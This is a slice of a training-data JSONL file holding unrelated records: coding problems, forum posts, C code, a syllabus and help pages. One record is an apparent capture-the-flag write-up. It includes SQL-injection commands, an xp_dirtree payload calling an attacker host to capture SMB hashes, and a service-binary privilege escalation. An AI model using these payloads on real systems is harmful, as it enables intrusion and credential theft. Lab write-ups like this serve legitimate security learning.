tries to use that folder as it's starting point, but due to security settings, it takes you back to Windows directory.\nThen, relative paths from there don't work as it's not your qvw folder so it won't work at all.\nIn addition to the starting folder for the CMD it's the network paths not being recognized properly when executing enything else, so fixed straight await with this:\nI just added an execute command at the beggining of the script to map to a drive the network path I wanted and after that I changed all paths to use that unit instead of network \\\\whatever paths\nexecute cmd.exe c/ NET USE Z: \"\\\\path\"\nNow it works from Publisher without any problem at all.\nI've searched for the AllowExecuteCommand in my settings.ini file and it's not there, but as you say in your useful blog post, it is by default set to 1 so I guess either I looked in the wrong place or it doesn't need to be declared in the settings file to be 1 as it's the default.\nAnyway. It's working now.\nEdit: I'm marking my answer as correct so It appears as solved.\nHi @Diego Perez,\nI am facing the same issue.\nOn my Qlikview server I have R installed, on the E drive I have the R script, which is being Called by a Batch file (ReloadR.bat)\nIn Qlikview Script I am using following:\nEXECUTE cmd /C \"E:\\Project\\R Analytics\\ReloadR.bat\";\nIt works fine locally, but when used with Publisher, it completes running without running the batch file.\nAll execution done on one server machine, nowhere are network paths being used.\nHave you checked all permissions are correctly set?\nTry opening the doc in Desktop client, go to Settings > User Preferences > Security tab\nThen check if it's unchecked the option that says :\n\"Script (Allow Database Write and Execute Statements)\"", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "nmap -sV -sC -Pn -p 1-65535 -T5 --min-rate 1000 --max-retries 5 10.10.10.104\nPORT STATE SERVICE VERSION\n301 - 147B - /mvc -> http://10.10.10.104/mvc/\n/remote, port 443, there is a login for a Windows Powershell Web Access service.\n/mvc there is a not-production-ready store application.\nsqlmap we immediately found that the web site is vulnerable to SQLi.\nsqlmap -u \"http://10.10.10.104/mvc/Product.aspx?ProductSubCategoryId=8\" --threads 10 --random-agent --level 5 --risk 3 --dbms=mssql\nPorts 3389 and 5985 are used for RDP and Windows Remote Management (WinRM) but we don’t have any credentials to use.\nsqlmap we can investigate if there are any credentials on the\nInjection DB or in the\nmaster DB used to connect to the service but we didn’t found a single hash so we focused on getting a shell using\n--priv-esc without success.\nSearching for a way to read files in the remote file systems we found that\nmssql has a stored procedure to display a list of subdirectory:\nEXEC master.sys.xp_dirtree 'C:\\Users\\stacy\\Desktop\\',0,1;.\nExecuting that command we didn’t got any output so we searched for other uses of the\nxp_dirtree: Out of Band Exploitation.\nThis is a concept that can be used when exploiting lots of vulnerabilities such as SQL Injection, Command Injection, Cross-site Scripting and XML External Entity Injection.\nThe idea is fairly simple, instead of capturing the data you would like to retrieve and extracting it through Boolean-logic you can request the system to transmit the data over a protocol such as HTTP, SMB or DNS.\nWith SQL injection, to perform this kind of exfiltration we can use functions such as:\nSupplying a hostname to these functions will cause a DNS lookup to occur, if you control the authoritative name server for a domain then you could see this DNS request in the logs of your server. Now at this to the fact that you can dynamically generate the hostname that is to be used, meaning you can smuggle data out in the subdomain of a domain that you control. A point to note though, is that hostnames have restrictions on the types of characters and the lengths of queries, so I recommend combining functions like SUBSTR() and HEX() to ensure that the length does not exceed the maximum allowed in subdomains and hex will encode any characters that cannot be used in a hostname.\nSo an example of the most simple payload would be:\nEXEC master..xp_dirtree '\\\\attacker.example.com\\foo' --\nThis would cause a DNS lookup to\nattacker.example.com if the system is vulnerable.\nIn our scenario che cannot use the DNS exfiltration because the machine cannot interact to an external domain and with the IP is not possibile to perform a UDP request like\nexfiltratedata.10.10.XX.XX; though it is possibile to use\nxp_dirtree to perform a SMBauthentication.\nWe can’t perform a SMB Relay Attack (CVE-2015-0005) since the machine will not get the payload for the reverse shell.\nThe web-store is vulnerable to stacked queries injection so we can trigger the authentication from Giddy to our machine using\nsmbserver.py DODO .) and the query:\nGET /mvc/Product.aspx?ProductSubCategoryId=26;EXEC(%27master..xp_dirtree%20%22\\\\10.10.XX.XX\\c$%22%27); HTTP/1.1\nThe authentication token from Stacy via SMB is:\nCracking the hash using\nrockyou and hashcat (with option\n-m 400) we got that Stacy’s password is\nLoggin in on the\n/remote endpoint we got an interactive powershell sesssion and the first flag.\nWe tried to upgrade the shell to a meterpreter session but the machine has Windows Defender enabled and Powershell is in Constrained Mode (without Powershell version 2 enabled).\nC:\\Users\\Stacy\\Documents we saw a file called\nunifivideo: Unifi Video is a Ubiquiti service used to control and access video survelliance from remote. The installation path is in\nC:\\ProgramData\\unifi-video and from\ndata\\system.properties we read the software version:\n# unifi-video v3.7.3\nFrom exploitdb we found a privilege escalation exploit for that version.\nUbiquiti UniFi Video for Windows is installed to\nC:\\ProgramData\\unifi-video\\ by default and is also shipped with a service called Ubiquiti UniFi Video. Its executable\navService.exe is placed in the same directory and also runs under the\nNT AUTHORITY/SYSTEM account.\nHowever the default permissions on the\nC:\\ProgramData\\unifi-video folder are inherited from the parent folder and are not explicitly overridden, which allows all users, even unprivileged ones, to append and write files to the application directory:\nUpon start and stop of the service, it tries to load and execute the file at\nC:\\ProgramData\\unifi-video\\taskkill.exe. However this file does not exist in the application directory by default at all.\nBy copying an arbitrary\nC:\\ProgramData\\unifi-video\\ as an unprivileged user, it is therefore possible to escalate privileges and execute arbitrary code as\nInitially we wrote a C program in Windows to copy the flag in a Stacy readable folder:\nStart-Service for Ubiquiti UniFi Video we triggered the execution of the uploaded\ntaskkill file to read the root flag!\nWe can also use some AV evasion technique to execute a meterpreter session.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1286, "token_count_with_eod": 1287, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Polycarp loves ciphers. He has invented his own cipher called Right-Left.\n\nRight-Left cipher is used for strings. To encrypt the string $$$s=s_{1}s_{2} \\dots s_{n}$$$ Polycarp uses the following algorithm:\n\n- he writes down $$$s_1$$$,\n- he appends the current word with $$$s_2$$$ (i.e. writes down $$$s_2$$$ to the right of the current result),\n- he prepends the current word with $$$s_3$$$ (i.e. writes down $$$s_3$$$ to the left of the current result),\n- he appends the current word with $$$s_4$$$ (i.e. writes down $$$s_4$$$ to the right of the current result),\n- he prepends the current word with $$$s_5$$$ (i.e. writes down $$$s_5$$$ to the left of the current result),\n- and so on for each position until the end of $$$s$$$.\n\nFor example, if $$$s$$$=\"techno\" the process is: \"t\" $$$\\to$$$ \"te\" $$$\\to$$$ \"cte\" $$$\\to$$$ \"cteh\" $$$\\to$$$ \"ncteh\" $$$\\to$$$ \"ncteho\". So the encrypted $$$s$$$=\"techno\" is \"ncteho\".\n\nGiven string $$$t$$$ — the result of encryption of some string $$$s$$$. Your task is to decrypt it, i.e. find the string $$$s$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 325, "token_count_with_eod": 326, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "There are two sequences of colorful stones. The color of each stone is one of red, green, or blue. You are given two strings s and t. The i-th (1-based) character of s represents the color of the i-th stone of the first sequence. Similarly, the i-th (1-based) character of t represents the color of the i-th stone of the second sequence. If the character is \"R\", \"G\", or \"B\", the color of the corresponding stone is red, green, or blue, respectively.\n\nInitially Squirrel Liss is standing on the first stone of the first sequence and Cat Vasya is standing on the first stone of the second sequence. You can perform the following instructions zero or more times.\n\nEach instruction is one of the three types: \"RED\", \"GREEN\", or \"BLUE\". After an instruction c, the animals standing on stones whose colors are c will move one stone forward. For example, if you perform an instruction «RED», the animals standing on red stones will move one stone forward. You are not allowed to perform instructions that lead some animals out of the sequences. In other words, if some animals are standing on the last stones, you can't perform the instructions of the colors of those stones.\n\nA pair of positions (position of Liss, position of Vasya) is called a state. A state is called reachable if the state is reachable by performing instructions zero or more times from the initial state (1, 1). Calculate the number of distinct reachable states.", "source": "cpt_codeforces", "language": "en", "token_count": 316, "token_count_with_eod": 317, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "Jul 9, 2013 3:04pm\nSo im getting ready to eat a bagel. I was wondering what workout would be good to burn it off . Its like 95° here in st.Louis, so i debt feel like running.\nJul 9, 2013 4:21pm\nTry the President's Victory Workout its a good full body workout. Good luck", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "I want to connect my PC via HDMI to my 50in 720p plasma (1024*768) and to my 22in comp screen (1680x1050)\nI want to play Microsoft Flight Simulator X, maybe not at the highest settings but I want it hot, it would be the only game I'll play\nMy budget is 700-900 $CDN\nI want to play mkvs and other HD content\nI want to set it up this week or next one.\nHere is where I'm heading, please suggest or comment, prices come from NCIX and Newegg Canada:\nJust make sure the RAM you chose is on the motherboard's QVL, to make sure it's totally compatible. Other than that, I don't have complaints about your system, except that if you're building a system to \"just\" play FSX, you can get away with cheaper parts—that are on dead-end platforms (socket LGA 775, etc.)\nThere is an issue here you may not have considered.\nYou say you want to run FSX at 720p on your TV. However you also state your TV is not a 720p set, and that it runs at 1024x768. I assume the TV has an aspect ratio of 16:9, and this means that the pixel aspect ratio is not square. This means if you pump 720p from the 5770 to the TV it will have to be scaled by the TV, and you may be surprised by the loss in image quality. This will probably have a severe effect on your ability to read cockput gauges.\nAlso, usual windows tasks will be almost impossible at non square 1024x768. Yes it is possible, but if you are used to using windows at square 16XX x 10XX you are in for trouble. Objects like text will lose significant definition because some of their horizontal resolution is being discarded.\nA partial solution to improve the quality would be to run a custom 16:9 768p resolution from the 5770. You will still lose some horizontal resolution to scaling, but it will not be as severe. Windows only supports square aspect ratios, so pixel loss is unavoidable with your TV.\nAlso, at a 720p or a custom 768p resolution your CPU will an extreme bottleneck for FSX, the GPU load will be small in comparison. As such I wouldn't go any higher than a 5770, instead putting money into the CPU.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 566, "token_count_with_eod": 567, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "This is an overview page for website moderators, who delete spam, ban spam users, etc. to keep our site clean. As time goes on we will likely need more moderators as our community grows; if you are interested please be in touch with email@example.com.\n- block users\n- spam comments\n- unpublish/delete notes and pages\nThis is a serious responsibility and we have to be careful not to misuse moderator power. Only ban/block/spam if you are sure that it is in fact spam, and please tell the other moderators.\nHow to moderate\nThe simplest moderation task is to look for new comments. If you're subscribed to all new comments, you'll get emails as new ones are posted, and if they look suspicious (i.e. \"beautiful jewelry\" or \"raiders tickets\") click through and investigate. If they're obviously spam, you can use the links below the comments to \"Submit spam\" as shown in the image below. If you're not sure, it's worthwhile to click on the author's name to see if they have other legitimate posts.\n#444;\" src=\"https://farm8.staticflickr.com/7049/6903832613_61a1a1c79d.jpg\" width=\"500\" height=\"228\" alt=\"Spam moderation links\">\nApproving new comments\nNon-PLOTS-users can post comments, but they're held for moderation. Check to see if any new comments are waiting to be approved here: http://publiclaboratory.org/admin/content/comment/approval\nWe should check that as often as possible so people don't have to wait too long. We should also figure out how to get emailed when comments need to be moderated.\nNote and page moderation\nBasic moderation: Those with the \"moderator\" privilege can see a link on pages and notes, below the subscription links, labelled \"Report to Mollom\". This can be used to quickly submit spam and it also improves our automated spam catching system.\n#444;\" src=\"https://farm9.staticflickr.com/8192/8079960431_6c0e56f6d2_o.png\" width=\"228\" height=\"157\" alt=\"report to Mollom\">\n- New notes and pages can be deleted by moderators by clicking the \"Edit\" tab and choosing \"Delete post\". It's worthwhile to first click on the author name to check if they are a spam user; the account can be Blocked following instructions below.\n- Revisions on pages can be reverted by clicking on the \"Revisions\" tab and reverting to a recent clean revision.\n- New published content can also be reviewed en-masse at the address http://publiclaboratory.org/admin/content/antispam/nodes/published (only accessible to moderators).\nAdvanced/batch note/page moderation\nIf you have the privileges, you can visit this address and batch-delete: http://publiclaboratory.org/admin/content/node\nUser moderation: \"Blocking\" users\nSpam users can be blocked by visiting their profile pages (click on their author name in a research note or wiki page revision) and checking \"Blocked\" instead of \"Active\".", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 682, "token_count_with_eod": 683, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "// Online C compiler to run C program online\n#include \n#include \n#include \n#include \n#include \n\nint random_seed = 1;\n\nint random_int() \n{\n random_seed = random_seed * 1664525U + 1013904223U;\n return random_seed;\n}\n\ndouble calc_partial_result(double *values, int num_of_values_to_process)\n{\n int i, j;\n double result = 0.0;\n \n for(i = 0; i < num_of_values_to_process; i++)\n {\n for(j = 0; j <= i; j++)\n {\n result += values[i] * (j - 1);\n }\n }\n \n return result;\n}\n\ndouble calc_partial_conditional_result(double *values, double *values_conditional, int num_of_values_to_process, double min_conditional_value)\n{\n int i, j;\n double result = 0.0;\n \n for(i = 0; i < num_of_values_to_process; i++)\n {\n for(j = 0; j <= i; j++)\n {\n if(values_conditional[j] >= min_conditional_value)\n {\n result += values[i] * (j - 1);\n }\n }\n }\n \n return result;\n}\n\ndouble mean(double data[], int n)\n{\n int i;\n double sum = 0.0;\n\n for(i = 0; i < n; i++)\n {\n sum += data[i];\n }\n\n return sum / n;\n}\n\ndouble standard_deviation(double data[], int n) \n{\n int i;\n double sum_of_data_squared_minus_data = 0.0;\n\n double avg = mean(data, n);\n\n for (i = 0; i < n; i++) \n {\n sum_of_data_squared_minus_data += pow(data[i] - avg, 2);\n }\n return sqrt(sum_of_data_squared_minus_data / (n - 1));\n}\n\nint main(int argc, char *argv[]) \n{\n int num_of_values = atoi(argv[1]);\n\n int num_of_executions = 10;\n int num_of_values_to_process = num_of_values / 2;\n double min_conditional_value = 10;\n\n int i, clock_start, clock_end;\n double result, clock_diff;\n double execution_times_in_seconds[num_of_executions];\n\n double *values;\n double *values_conditional;\n \n values = (double *)malloc(num_of_values * sizeof(double));\n values_conditional = (double *)malloc(num_of_values * sizeof(double));\n \n for(i = 0; i < num_of_values; i++)\n {\n values[i] = i + 1;\n values_conditional[i] = (double)random_int();\n //printf(\"%f\\n\", values_conditional[i]);\n }\n\n for(i = 0; i < num_of_executions; i++)\n {\n clock_start = clock();\n result = calc_partial_result(values, num_of_values_to_process);\n clock_end = clock();\n\n execution_times_in_seconds[i] = (double)(clock_end - clock_start) / CLOCKS_PER_SEC;\n }\n\n printf(\"calc_partial_result: \\n\");\n printf(\"num_of_values_to_process: = %d\\n\", num_of_values_to_process);\n printf(\"%f s ± %f s per loop (mean ± std. dev. of %d runs, 1 loop each)\\n\", mean(execution_times_in_seconds, num_of_executions), standard_deviation(execution_times_in_seconds, num_of_executions), num_of_executions);\n printf(\"result = %f\\n\", result);\n\n printf(\"\\n\");\n\n for(i = 0; i < num_of_executions; i++)\n {\n clock_start = clock();\n result = calc_partial_conditional_result(values, values_conditional, num_of_values_to_process, min_conditional_value);\n clock_end = clock();\n\n clock_diff = clock_end - clock_start;\n\n execution_times_in_seconds[i] = clock_diff / CLOCKS_PER_SEC;\n }\n\n printf(\"calc_partial_conditional_result: \\n\");\n printf(\"num_of_values_to_process: = %d\\n\", num_of_values_to_process);\n printf(\"%f s ± %f s per loop (mean ± std. dev. of %d runs, 1 loop each)\\n\", mean(execution_times_in_seconds, num_of_executions), standard_deviation(execution_times_in_seconds, num_of_executions), num_of_executions);\n printf(\"result = %f\\n\", result);\n\n return 0;\n}", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"} {"text": "These unique cufflinks are handmade from original 50 - 75 years old railroad spikes from the High Line. Available in two finishes: polished (taken from a \"side cut\", like a slice of bread, of the spike), and raw (taken from a \"top cut\" of the spike) with sterling silver post & clasp. Produced in collaboration with Tokens and Icons, handcrafted in the USA.\nEach set unique; 0.75 x 0.75 inches. In a custom box.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Twilight Sparkle learnt that the evil Nightmare Moon would return during the upcoming Summer Sun Celebration after one thousand years of imprisonment on the moon. She tried to warn her mentor Princess Celestia, but the princess ignored her and sent her to Ponyville to check on the preparations for the celebration.\n\nTwilight Sparkle wanted to track the path of Nightmare Moon. Unfortunately, she didn't know the exact path. What she knew is the parity of the number of times that each place Nightmare Moon visited. Can you help Twilight Sparkle to restore any path that is consistent with this information?\n\nPonyville can be represented as an undirected graph (vertices are places, edges are roads between places) without self-loops and multi-edges. The path can start and end at any place (also it can be empty). Each place can be visited multiple times. The path must not visit more than 4n places.", "source": "cpt_codeforces", "language": "en", "token_count": 186, "token_count_with_eod": 187, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "Reporting Standadrd XBRL WIKI.\nThis WIKI web site is organized in the following sections:\n- XBRL Specifications and related discussions\n- Reporting Standard S.L. - Product specific discussions, including new feature requests\n- Products WITH user interface\n- Components without user interface\n- Other products and components\nRequirements & Installation\nOther optional installation steps\nUseful links and frequently asked questions (FAQ)\n- Where is the licencense file stored and how can I backup it?\n- The XBRL Taxonomy Catalog\n- java.security.SignatureException: invalid encoding for signature\n- Adding taxonomies to the ZIP Catlog", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 133, "token_count_with_eod": 134, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "The cows have just learned what a primitive root is! Given a prime p, a primitive root $$\\bmod p$$ is an integer x (1 ≤ x < p) such that none of integers x - 1, x2 - 1, ..., xp - 2 - 1 are divisible by p, but xp - 1 - 1 is.\n\nUnfortunately, computing primitive roots can be time consuming, so the cows need your help. Given a prime p, help the cows find the number of primitive roots $$\\bmod p$$.", "source": "cpt_codeforces", "language": "en", "token_count": 114, "token_count_with_eod": 115, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "/* ************************************************************************** */\n/* */\n/* ::: :::::::: */\n/* get_start_end.c :+: :+: :+: */\n/* +:+ +:+ +:+ */\n/* By: rburger +#+ +:+ +#+ */\n/* +#+#+#+#+#+ +#+ */\n/* Created: 2017/11/27 15:54:41 by rburger #+# #+# */\n/* Updated: 2017/11/28 16:06:21 by rburger ### ########.fr */\n/* */\n/* ************************************************************************** */\n\n#include \"lem_in.h\"\n\nvoid\tget_start_end(char *str, t_g *all)\n{\n\tif (all->start_flag == 1)\n\t{\n\t\tall->start_room = save_room(str);\n\t\tall->start_flag = -1;\n\t}\n\telse if (all->end_flag == 1)\n\t{\n\t\tall->end_room = save_room(str);\n\t\tall->end_flag = -1;\n\t}\n\telse if (ft_strcmp(\"##start\", str) == 0 && all->start_flag != -1)\n\t{\n\t\tall->start_flag = 1;\n\t\tft_putendl(str);\n\t}\n\telse if (ft_strcmp(\"##end\", str) == 0 && all->end_flag != -1)\n\t{\n\t\tall->end_flag = 1;\n\t\tft_putendl(str);\n\t}\n\telse if (ft_strstr(str, \"#\"))\n\t\tft_putendl(str);\n}", "source": "cpt_stack_code", "language": "code", "token_count": 360, "token_count_with_eod": 361, "validation_channel": "code", "validation_source": "cpt_stack_code"} {"text": "Remediate vulnerabilities The flexibility inherent to Vulnerability Response allows you to remediate vulnerabilities in whatever way suits your security organization. You can work with vulnerable items directly or from vulnerability records. Before you begin Role required: sn_vul.vulnerability_write Procedure To view a list of all vulnerabilites, navigate to Vulnerability > Vulnerabilities > All Vulnerabilities. Note: You can also navigate directly to vulnerable items via Vulnerability > Vulnerabilities > All Vulnerable Items. Click a vulnerability record (VUL) that is in the New state. The New state indicates that the record has not yet been worked on. The form displays: a reference to a Common Weakness Enumeration (CWE) entry, if applicable. summary information for the vulnerability. the vulnerability score of the vulnerability using Common Vulnerability Scoring System (CVSS). For more information on the CVSS, see the National Vulnerability Database website. To view vulnerable item records (VIT) contained in this vulnerability, scroll down to the Vulnerable Items related list. When you are ready to start working on the record, change the State field to Analysis. Perform whatever tests or analysis you want on the vulnerabilities. To escalate the vulnerability to another team or to view and add information on impacted business services to a vulnerable item, you have the following options. Option Step If the vulnerable item poses a risk to your IT environment, you create a CHG record and escalate the issue to Change Management team. Click Create Change. If the vulnerable item causes an error in the IT infrastructure, you can create a PRB record and escalate the issue to the Problem Management team. Click Create Problem. If the vulnerable item poses a potential security risk to your organization, create a security incident record and escalate the issue to the Security Incident Response team. Click Create Security Incident. This button is displayed when Security Incident Response is activated. If you are working on a vulnerable item, you can view and add business services that are impacted by the vulnerable item. On the Vulnerable Item form, click the Impacted Services related list. If an affected CI associated with the vulnerable item is added or updated, information in this related list is automatically updated when the record is saved.Note: You can also right-click in the form header and select Refresh Impacted Services. After you create a change request, problem record, or security incident, the appropriate record appears in the Tasks related list on the Vulnerable Item form. You can view SLAs associated with the vulnerabiliy in the Task SLAs related list. If you determine that the issue is a low priority and can either be deferred or immediately closed without further analysis, click Close Item. For instructions, see Close or ignore a vulnerability. If you have set up a third-party integration and a scheduled job that automatically updates and scans records at a set interval, the vulnerabilities are scanned at the next scheduled date and time. Alternatively, you can manually initiate a vulnerability scan. If the scan again returns the vulnerability, the VUL record returns to the Analysis state. If the vulnerability is not found, the VIT transitions to the Closed state.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 625, "token_count_with_eod": 626, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "How about an SCP of a plaque of Shakespeare that gives directions? Put it up in any building, and it will instantly tell you where to go when queried. The only problem is that its directions are in early modern english verse - typically quadratic hexameter or iambic pentameter. It is sometimes quite cryptic for the sake of preserving the rhyming scheme.\n1: As resident Shakespeare fanboy, I disdainfully request that his name be exempt from future fail.\n2: If you have to be cryptic to preserve the rhyme scheme of a poem in iambic pentameter, your poetry sucks miserably, and again, I request that you not tag Shakespeare's name on such loss.\n3: Just… read this.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "We are looking for a DevOps Engineer to join our CI Engineering team in Warsaw or Gdańsk.You would work on improving the continuous integration and build system of Tungsten Fabric, an open-source network virtualization solution.\nOur work focuses mainly on Zuul CI and Ansible, which Zuul uses to run its jobs. We start with packages (.rpm, .deb), which we further containerize (Docker) and run multi-platform sanity tests on.\nWe use OpenStack and VMware to provide worker nodes for running Zuul's jobs, Sonatype Nexus as an artifact repository and Terraform and Puppet for infrastructure management.\nIf you like Ansible and are proficient with Git, send us a message and let’s talk!\nIf you have any questions regarding this position, contact your recruiter:", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Discover projects, groups and snippets. Share your projects with others\nHistorical resto data from the Hydra API.\nMenu files for Haldis, in the HLDS format\nDe Repository voor Informatie, Vragen/Verslagen en Events\nA tool for showing overlays with images and text in Wayland, for use in scripts.\nWorks only on Wayland compositors that implement wlr-layer-shell.\nFaster simple Gentoo package search powered by fd (or find)\nCreate a \"now playing\" custom status in Mattermost. Depends on https://git.zeus.gent/midgard/mmcli being in your path as mmcli\nLightweight Mattermost frontend with multi-server support. Core functionality present.\nHaldis web application code, official upstream is at https://github.com/ZeusWPI/Haldis/ — Menus\nMirror a git repo in leader-followers configuration\nMirror of https://github.com/tuxedocomputers/tuxedo-keyboard", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Math 187A: Introduction to Cryptography (Winter 2021, lecture A)\nThis course will be closely coordinated with Alina Bucur's Math 187A course (Lecture B). You may attend either lecture. Most policies, assignments, and deadlines will be the same for both lectures. Discussion sections, office hours, and Zulip will be shared.\nDue to the COVID-19 pandemic, this course will be taught remotely and will accommodate participation from any timezone; however, all times will be announced in Pacific Standard Time (PST = UTC-8) except as indicated. You are responsible for meeting all deadlines as announced, regardless of the timezone you are in.\nLectures and discussion sections will be given synchronously, recorded, and made available for later viewing. By attending, you give permission to be recorded by the instructional staff only, not by other students. If you do not want to be recorded, please keep your audio/video muted or view the recorded lecture after it has been posted. You do not have permission to share the recordings or to record any other interactions with the instructor or TAs.\nReminder: please use Zulip private messages to communicate with course staff in place of email.\nLecture: MWF 1-1:50pm (link posted on Canvas and Zulip). No lectures on Monday, January 18 or Monday, February 15 (university holidays).\nInstructor: Kiran S. Kedlaya\nOffice hours: W 2-3pm, F 3-4pm (links posted on Canvas and Zulip) or by appointment (via Zulip).\nNote: Friday office hours will be \"Ask Me Anything\" sessions.\nSections takes place Mondays 4-4:50pm (B05), 5-5:50pm (A01/B01), 6-6:50pm (A02/B02), 7-7:50pm (A03/B03), 8-8:50pm (A04/B04). Attending section is not mandatory. You may attend any section, not just the one you are registered for. No sections on Monday, January 18 or Monday, February 15 (university holidays).\n|TAs:||Poornima B||Mingjie Chen||Jun Bo Lau||Finn McGlade||Baiming Qiao|\n|OH||Tu 12-2pm||Tu 10-11am, W 10-11am||W 5-7pm, F 5-6pm||Tu 8-10am||W 3-4pm, F 4-5pm|\nRequired text: none. For those who want to read more, a good reference is An Introduction to Mathematical Cryptography by Hoffstein, Pipher and Silverman. (The link provides electronic access through the UCSD Library. You will have to VPN into the UCSD network in order to gain access to it; then click the \"SpringerLink\" page from the library page.)\nHandouts: All handouts will be posted to Canvas. This includes lecture notes, lecture recordings, and homework assignments.\nHomework: There will be 4 assignments in total (due Wednesdays in weeks 2, 4, 6, 8), due at 11:59pm on the indicated date through Gradescope. Before the deadline, you may submit as many copies of your homework paper as you would like; however, only the most recent submission will be considered.\nNo late homework will be accepted. If you fail to submit your homework before the deadline, then you will automatically receive a zero for that assignment. The lowest homework score will be dropped; please do not contact course staff to ask for further leniency!\nWe strongly encourage that you type your solutions. Handwritten papers must be legible, or else your homework may not be graded. Homework grades will be available on Gradescope (and later Canvas).\nQuizzes: There will be 4 quizzes of 20min each (held Wednesdays in weeks 3, 5, 7, 9), administered through Gradescope. There will be a practice quiz during week 1 to help you familiarize yourself with the process.\nQuizzes will be administered during the two lecture periods (11-11:50am, 1-1:50pm) and at a third time to be announced later.\nDuring each quiz, you may use any resources (notes, books, even search engines) as long as you do not communicate with any other humans. For example, posting a question to Chegg is not permitted.\nThe lowest quiz score will be dropped. Handwritten papers must be legible, or else your quiz may not be graded. Quiz grades will be available on Gradescope\n(and later Canvas).\nFinal project: due F 3/19/20 at 2:30pm PDT (Daylight Saving Time begins 3/14/20). As for quizzes, you may use any resources as long as you do not communicate with any other humans. There is no final exam; disregard any information from the registrar to the contrary.\nGrading: All grades are recorded on Gradescope\n(and later Canvas).\nOnly grades that appear in\nCanvasGradescope in week 10 will be included in calculating the total score for the course.\n- 50% homework: the lowest score will be dropped, all others will be weighted equally.\n- 25% quizzes: the lowest score will be dropped, all others will be weighted equally.\n- 20% final project: cannot be dropped. In addition, you must obtain a passing score on the final project in order to pass the course. (The passing cutoff will be no higher than 65%.)\n- 5% participation activities. These will be asynchronous, but there will be time set aside during lectures for them.\nAny infringement of UCSD's academic integrity or harassment policies, including cheating on a quiz/hw/project, will result in failing the class, as well as further disciplinary action. If you suspect a violation, please bring it to the attention of course staff immediately; we will also be monitoring Chegg and similar sites for suspicious activity.\nThere will be no curve in this class, and therefore no pressure to compete against other students. Grade cutoffs:\nRegrade Policy: If you believe there might be an error in the grading and wish to have your quiz/homework regraded, you must observe the following rules.\n- Regrade requests will not be considered later than three days after the grade was originally posted. That means that you should check your scores frequently in order to not miss the reporting window.\n- If you disagree with the TA's answer to your regrade request, you may ask for the instructor to review it. In order to do this, you must:\n- make your request within 24 hours of receiving the TA's answer, and\n- ask that they forward it to the instructor.\n- Instructor review requests will not be considered later than one week after the grade was posted.\n- No regrade requests will be considered after week 9, except for the final project.\nLetters of recommendation: In general, you should try to get a letter of recommendation from a professor with whom you had some one-to-one contact. I will consider recommendation requests only from people who have placed in the top 25% of the class (in the past, this meant a grade of A+) and who have had some nontrivial interaction with me outside lecture (which this quarter amounts to interacting with me during Zoom office hours). See also this page.\nCommunication: Most communication about the course will take place in Zulip; Zulip includes both a general discussion forum, available to all students in both Math 187A lectures, and one-on-one direct messages. A link to join Zulip will be posted to Canvas. Once you have joined, please use DMs instead of email for questions about the course; I may not answer emails. All course communication is subject to UCSD's academic integrity and harassment policies.\nElectronic devices: On Zoom, please make sure your mic is muted when you don't need to speak. No visual or audio recording is allowed in class/section/office hours without prior permission of the instructor/TA and all other attendees (whether by camera, cell phone, or other means).\n- There will be no lectures on Monday, January 18 or Monday, February 15.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1811, "token_count_with_eod": 1812, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "You are given three positive integers x, y, n. Your task is to find the nearest fraction to fraction $$\\frac{x}{y}$$ whose denominator is no more than n.\n\nFormally, you should find such pair of integers a, b (1 ≤ b ≤ n; 0 ≤ a) that the value $$\\left|\\frac{x}{y}-\\frac{a}{b}\\right|$$ is as minimal as possible.\n\nIf there are multiple \"nearest\" fractions, choose the one with the minimum denominator. If there are multiple \"nearest\" fractions with the minimum denominator, choose the one with the minimum numerator.", "source": "cpt_codeforces", "language": "en", "token_count": 131, "token_count_with_eod": 132, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "to customize your list.\nmore stack exchange communities\nStart here for a quick overview of the site\nDetailed answers to any questions you might have\nDiscuss the workings and policies of this site\nWhat are all of the classified codes for Halo Waypoint\nWhat are the classified codes for Halo Waypoint, what does each unlock, and where can the codes be obtained?\nNov 9 '12 at 3:55\nnewest halo-waypoint halo-series questions feed\nHot Network Questions\nBinomial Theorem on a Matrix\nWhat's wrong with public variables?\ncan't understand why this simple macro causes complex error\nPhD in one field, academic position in another\nExactly how secret was the reveal in The Empire Strikes Back?\nIs there a way to discourage blackbirds, but not other birds, from visiting my yard?\nSend 1 overweight suitcase instead of 2 underweight?\nWhy does everyone face the same way on the transporter?\nGenerate random numbers without repetitions\nIs there any difference at all between NUMERIC and DECIMAL?\nWhy should I sign data that's already encrypted?\n\"From a fourth-pair window\": what is fourth-pair?\nWhy do I always hear remote train horn at night?\nWhat is the difference between Minas Tirith and Gondor?\nEfficiency with strcpy, strcat and malloc\nHow do I address a vertical postcard?\nWhat's the responsibility of an IPv6 owner?\nTranslation with a phrase containing \"es gleich\"\nOpposite of Nightmare?\nWhat specifically does expressive power refer to?\nHow do I deal with players that pick very 